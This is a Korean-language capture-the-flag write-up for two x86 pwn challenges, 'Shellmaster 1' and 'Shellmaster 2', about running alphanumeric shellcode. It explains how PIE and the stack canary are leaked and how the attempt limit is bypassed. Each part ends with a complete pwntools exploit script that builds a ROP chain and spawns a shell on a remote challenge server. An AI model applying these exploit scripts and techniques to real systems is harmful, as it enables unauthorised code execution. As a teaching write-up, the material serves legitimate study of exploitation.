Shellmaster 1, 2


둘 다 기본적으로 alphanumeric shellcode(이게 실제로 쓸모가 있나는 모르겠지만..)를 작성하는 능력이 있는지에 대해 묻는 문제였다.
문제는 둘 다 x86환경이었고 alphanumeric 범위에서 의외로 쓸만한 instruction이 많아서 크게 어려운 점은 잘 없다고 느껴질 수도 있다.
두 문제는 거의 똑같은데 약간의 차이점이 있다. 이 점에 대해서는 문제에 대해 서술하면서 추가로 적도록 하겠다.

Shellmaster1


Mitigation


  • Relro : Full Rerlo
  • Stack : canary found
  • NX : NX enable
  • PIE : PIE enable

풀 미티게이션이 걸려있는데 의외로 까다로운 점은 많이 없다.

Analyzing


분석에 큰 어려움은 없다.

Intro

필요없는 부분의 코드들은 생략하겠다. 메뉴는 add shellcode, delete shellcode, view shellcode, run shellcode 총 4개의 메뉴가 존재하고 main함수에서는 원하는 기능을 실행시킬 수 있다.

add_shellcode

void __cdecl add_shellcode()
{
  ssize_t v0; // [esp+Ch] [ebp-1Ch]
  ssize_t i; // [esp+10h] [ebp-18h]
  int v2; // [esp+14h] [ebp-14h]
  int j; // [esp+18h] [ebp-10h]
  char *s; // [esp+1Ch] [ebp-Ch]

  printf("{?} Enter shellcode: ");
  s = malloc(6u);
  memset(s, 0, 6u);
  v0 = read(0, s, 6u);
  if ( s[v0 - 1] == 10 )
    s[--v0] = 0;
  for ( i = 0; i < v0; ++i )
  {
    if ( ((*__ctype_b_loc())[s[i]] & 0x400) == 0 && ((*__ctype_b_loc())[s[i]] & 0x800) == 0 )
    {
      puts("{-} Invalid shellcode!");
      free(s);
      return;
    }
  }
  v2 = 0;
  for ( j = 0; j <= 1; ++j )
  {
    if ( !shellcodes[j] )
    {
      shellcodes[j] = s;
      v2 = 1;
      break;
    }
  }
  if ( !v2 )
  {
    puts("{-} No free space!");
    free(s);
  }
}

add함수에서는 char *shellcodes[2]라는 전역변수에 shellcode를 6바이트만큼 입력받고 인덱스에 알맞는 위치에 삽입한다. 근데 여기서 ascii범위가 아니거나 특수문자인 경우에는 중간에 shellcode를 삭제시켜버리기 때문에 무조건 alphanumeric범위 내에서 작성해야만 한다.

run_shellcode

void __cdecl run_shellcode()
{
  int v0; // [esp+4h] [ebp-24h] BYREF
  unsigned int v1; // [esp+8h] [ebp-20h]
  char *v2; // [esp+Ch] [ebp-1Ch]
  __int64 v3; // [esp+10h] [ebp-18h]
  unsigned int v4; // [esp+1Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  if ( limit == 2 )
  {
    puts("{-} You have no more attempts!");
  }
  else
  {
    ++limit;
    printf("{?} Enter idx: ");
    v1 = read_int();
    if ( v1 <= 2 )
    {
      if ( shellcodes[v1] )
      {
        printf("{?} Enter shellcode argument: ");
        __isoc99_scanf("%ul", &v0);
        memset(addr, 0, 6u);
        memcpy(addr, shellcodes[v1], 6u);
        addr[6] = '\x90';
        addr[7] = '\xC3';
        v2 = addr;
        v3 = (addr)(v0);
        printf("{!} Shellcode return code = %lld\n", v3);
      }
      else
      {
        puts("{-} No such shellcode!");
      }
    }
    else
    {
      puts("{-} Incorrect idx!");
    }
  }
}

run 함수에서는 그냥 인덱스에 알맞는 shellcode를 실행시켜주는데, 쉘코드의 맨 마지막에 ret instruction을 추가한 후에 call해주면서 원래의 위치에 돌아올 수 있도록 만든다. 또, shellcode에 인자를 스택에 push할 수 있도록 해준다.
shellcode가 모두 실행된 후에는 eax값을 printf로 출력해준다.

deleteview 함수는 그냥 이름처럼 각자 역할에 맞게 인덱스에 알맞는 shellcode들을 삭제한다. 딱히 볼 건 없어서 코드는 생략하겠다.

Exploit


여기서 exploit을 위해서 캐치해야 하는 점이 몇 가지 있는데 shellcode의 맨 마지막에 ret을 추가한다는 점과 shellcode의 인자를 1개 넣어줄 수 있다는 점, 그리고 eax값을 printf로 출력해준다는 점이다.
그럼 그냥 이제는 exploit을 하면 된다.
근데 그냥 epxloit하기에는 조금 빡센게, run shellcode의 limit가 2번이기 때문에 이 부분을 우회해야 한다.
이 부분같은 경우에는 먼저 pie를 leak해야 한다. pie를 leak 한 후에 limit++을 진행하는 line을 한 번 더 실행시켜서 검증을 우회할 것이다.

How to leak pie and bypass the limit?

방법은 간단하다. 일단 32bit의 경우에는 ebx에 got영역의 값이 쓰여있기 때문에 push ebx; pop eax; inc edx; inc edx; ...의 형태로 eax의 값을 code영역으로 옮겨주면 pie가 leak이 된다.
그 이후에는 아까 인자를 push해주는 점을 이용해서 limit++을 진행하는 line으로 return하게 만들어준다. 그럼 limit전역변수가 3이 되면서 limit == 2를 검증하는 부분이 우회가 된다.

그 다음은 여러가지 방법으로 exploit을 진행할 수 있겠지만, 나의 경우에는 read_int함수로 ret을 시켜서 rop를 진행했다. 근데 이 부분에서 문제점이 바로 canary이다.

How to leak canary and ROP?

이 것도 사실 alphanumeric shellcode를 짜본 사람이 있다면 혹은 intel opcode에 대해서 공부해본 사람이 있다면 알겠지만 의외로 xor eax, [ecx + 0x30]같은 쉘 코드가 alphanumeric이라는 걸 알 수 있다. 게다가 겨우 3바이트밖에 안 한다.
근데 shellcode를 호출할 때를 보면 call eax의 형식으로 호출하고 이말은 즉 shellcode의 주소는 leak을 할 수 있다는 말이 된다. 심지어 push esp; pop ecx;같은 어셈블리도 사용이 가능하다.
이런 점들을 이용하면 stack에 존재하는 canary의 값과 shellcode의 시작주소를 xor시켜서 leak할 수 있고, shellcode의 주소를 이미 leak했다면 shellcode의 주소값과 leak된 값을 xor했을 때 canary의 값을 leak할 수 있다는 것도 알 수 있을 것이다.
이후는 간단하다. shellcode의 인자를 추가할 수 있으니 read_int 함수에서 read함수의 입력 size를 push한 이후의 영역(이하 read_int 가젯)으로 ret시킬 수 있고, 이 말은 즉 read(0, stack, our_input)의 형식으로 read함수를 호출하여 ROP를 진행할 수 있다는 말이 된다.
이런 아이디어를 갖고 exploit을 진행하면 된당.

solve.py

from pwn import *

e = ELF('./shmstr')
#p = process(e.path, aslr=False)
p = remote('151.236.114.211', 17173)
pppr = 0x000019d0
read = 0x1130

sla = p.sendlineafter
sa = p.sendafter

def add(buf):
    sla('>', '1')
    sa(': ', buf)

def delete(idx):
    sla('>', '3')
    sa(': ', str(idx))

def run(idx, arg):
    sla('>', '4')
    sla(': ', str(idx))
    sla(': ', str(arg))

add("\x58\x50\x50\x50\x58\x58")
run(0, 0)

p.recvuntil("= ")
pie = (int(p.recvline()) & 0xffffffff) - 0x1841
pppr += pie
read += pie
e.address = pie
log.info('[PIE] 0x%x'%pie)

add("\x58\x59\x51\x50\x58\x51")
run(1, pie + 0x1734)
sla(': ', '0')
sla(': ', '0')

delete(0)
delete(1)

buf = asm("push esp; pop eax; push eax; pop eax; push eax; pop eax")
add(buf)
run(0, 0)

p.recvuntil('code = ')
stack = (int(p.recvline()) & 0xffffffff)
log.info("[STACK] 0x%x"%stack)

buf = asm("push eax; pop eax; push eax; pop eax; push eax; pop eax")
add(buf)
run(1, 0)

p.recvuntil('code = ')
shellcode = (int(p.recvline()) & 0xffffffff)
log.info("[SHELLCODE] 0x%x"%shellcode)

delete(0)
delete(1)

buf = asm("push esp; pop ecx; xor eax, [ecx + 0x30]; inc edx")
add(buf)
run(0, 0)

p.recvuntil('code = ')
canary = ((int(p.recvline()) ^ shellcode) & 0xffffffff)
log.info("[CANARY] 0x%x"%canary)

buf = asm("pop edx; pop edx; pop ecx; push eax; push edx; inc edx;")
add(buf)
run(1, pie + 0x191F)

rop = 'A'*0x8 + p32(canary) + 'A'*0x4 + p32(pie + 0x3f9c) + 'A'*4
rop += p32(read) + p32(pppr) + p32(0) + p32(shellcode) + p32(0x2000)
rop += p32(shellcode)*2

p.send(rop)
sleep(5)
p.send('\x90'*0x100 + asm(shellcraft.sh()) + '\x90'*0x100)

p.interactive()

Shellmaster2


Mitigation


  • Relro : Full Rerlo
  • Stack : canary found
  • NX : NX enable
  • PIE : PIE enable

1번 문제와 같이 풀 미티게이션이다.

Analyzing


분석할 건 딱히 없다. 1번문제랑 다른 점은 add_shellcode함수에서 shellcode의 크기를 16byte로 늘려줬다는 점과 run_shellcoed의 limit이 6번으로 늘어났다는 점, 그리고 인자를 넘겨줄 수 없다는 점이다.

Exploit


이게 더 쉬워진 거 아닌가? 라고 생각할 수 있는데 alphanumeric 범위를 초과하는 값을 스택에 마음대로 쌓을 수 있도록 인자를 넣어주는 부분이 사라진 건 꽤 큰 타격이다.
그래서 xor, push 등의 instruction들을 이용해서 read_int 가젯을 호출해야한다.
일단 6번이라는 꽤 많은 횟수로 쉘코드를 호출 할 수 있기 때문에 pie, shellcode, canary는 금방 leak할 수 있을 것이다. 근데 6번도 은근히 적은 횟수이기 때문에 늘어난 16byte라는 shellcode의 크기를 이용해 한 번에 두 가지의 작업을 동시에 진행해야한다.
일단 stack에는 [esp + alphanumeric range value]의 영역에 함수가 계속 진행되도 변형되지 않으면서 동시에 0이라는 값을 갖는 영역이 존재하기에 xor을 통해 원하는 값으로 만들어줄 수 있다.
하지만 read_int 가젯의 상위 3바이트는 몰라도 가장 최하위 1바이트는 0xa2로 항상 alphanumeric하지 않은 값이다. 즉 이 부분을 xor을 통해서 맞춰줘야 하는데, 0xa2는 alphanumeric 범위의 어떤 값들을 통해 서로 xor을 해도 맞춰주기 어렵다.

How to make read_int gadget?

그래서 내가 찾아낸 값은 0xfb ^ 0x59 == 0xa2 였다… ^^.. 이 값에 알맞게 일단 read_int가젯의 하위 1바이트를 0x59로 맞춰준 후 stack에 xor해서 삽입했다.
이건 모두 push 0x41414141같은 instruction이 alphanumeric이라 가능한 이야기 ㅎㅎ
그 이후에는 stack의 어떤 한 부분에 0혹은 그에 가까운 값이 있는데, 그 값과 dec reg라는 어셈블리를 통해서 0xffffffff이라는 값을 만들었고 이 값의 가장 상위 1바이트만 스택에 기록하여 0xff라는 값도 만들었다.
그 이후 그 값을 레지스터에 저장해 dec reg와 함께 0xfb를 만들었고, 이 값을 통해서 xor을 진행하면 이제 stack에 read_int 가젯이 존재하게 된다. ^^…, 심지어 상위 3바이트 중 0.5byte정도는 브포를 진행해야 한다…
뭐 여튼 이런 방식을 통해 read_int가젯을 호출할 수 있고 그 이후는 그냥 똑같이 rop를 통해 execve(/bin/sh) shellcode를 실행시키면 된다.

계속 적다보니까 길어지고 적기도 귀찮아지고 해서 후반부에는 대충 적었음.

근데 쓰면서 깨우친 건데 걍 read_int 가젯 하위 1바이트를 0으로 넣고 그 상태에서 decrease를 진행했으면 0xfb를 만들어내는 작업을 하나 더 줄여볼 수 있었겠다는 생각이 든다.

push read_int 5바이트 pop reg 1바이트
push esp ; pop reg 2바이트 dec reg 1바이트 * 5
xor [stack], reg 3바이트
딱 16바이트…, ㅎㅎ 이걸 왜 생각 못했을까… ㅎㅎ

풀었으니 됐지 뭐..,

solve.py

from pwn import *
import string

e = ELF('./shmstr2')

table = string.printable[:62]

def add(buf):
    sla('>', '1')
    sa(': ', buf)

def delete(idx):
    sla('>', '3')
    sa(': ', str(idx))

def run(idx):
    sla('>', '4')
    sla(': ', str(idx))

def main(p):
    pppr = 0x00001961
    read = 0x1120
    target = 0x18A2

    buf = asm("push ebx; pop eax;") + asm("inc edx")*0xe
    add(buf)
    run(0)

    p.recvuntil("= ")
    pie = (int(p.recvline(), 16) & 0xffffffff) - 0x3fa0

    pppr += pie
    read += pie
    target += pie

    for i in range(3):
        check = False
        for c in table:
            if chr(target >> (8*(3 - i)) & 0xff) is c:
                check = True
        if check is False:
            log.info("0x%x!!!!"%(target >> (8*(3 - i)) & 0xff))
            log.info("0x%x is not exploitable"%target)
            p.close()
            return True

    e.address = pie
    log.info('[PIE] 0x%x'%pie)

    val = (target & 0xffffff00) + 0x59
    buf = asm("push esp; pop ecx; push 0x%x; pop edx; xor DWORD PTR [ecx + 0x38], edx; pop edx;"%val)
    buf += asm("push edx;")*4
    add(buf)
    run(1)

    p.recvuntil("= ")
    shellcode = (int(p.recvline(), 16) & 0xffffffff)
    log.info('[SHELLCODE] 0x%x'%shellcode)

    delete(0)
    delete(1)

    buf = asm("pop edx;")
    buf += asm("push esp;")*10
    buf += asm("pop ecx; xor eax, [ecx + 0x30]; push edx")
    add(buf)
    run(0)

    p.recvuntil('code = ')
    canary = ((int(p.recvline(), 16) ^ shellcode) & 0xffffffff)
    log.info("[CANARY] 0x%x"%canary)

    buf = asm("push esp; pop ecx; pop eax; pop edx;")
    buf += asm("dec edx;")*8
    buf += asm("xor [ecx + 0x49], edx; push eax;")
    add(buf)
    run(1)

    delete(0)
    delete(1)

    buf = asm("push esp; pop ecx; pop eax; pop edx; pop edx; xor edx, [ecx + 0x4c];")
    buf += asm("dec edx")*4
    buf += asm("xor [ecx + 0x38], edx; push eax;")
    add(buf)
    run(0)

    buf = asm("push esp; pop ecx; pop eax; pop edx; pop edx; dec edx; xor edx, [ecx + 0x38]; push 0x41414141; push edx; inc edx;")
    add(buf)
    run(1)

    rop = 'A'*0x8 + p32(canary) + 'A'*0x4 + p32(pie + 0x3fa0) + 'A'*0x4
    rop += p32(read) + p32(shellcode) + p32(0) + p32(shellcode) + p32(0x1000)

    p.send(rop)
    sleep(5)
    p.send("\x90"*0x100 + asm(shellcraft.sh()) + "\x90"*0x100)
    p.interactive()
    return False

if __name__ == "__main__":
    global sla, sa
    result = True
    while result:
        #p = process(e.path)
        p = remote('151.236.114.211', 17183)
        sla = p.sendlineafter
        sa = p.sendafter
        result = main(p)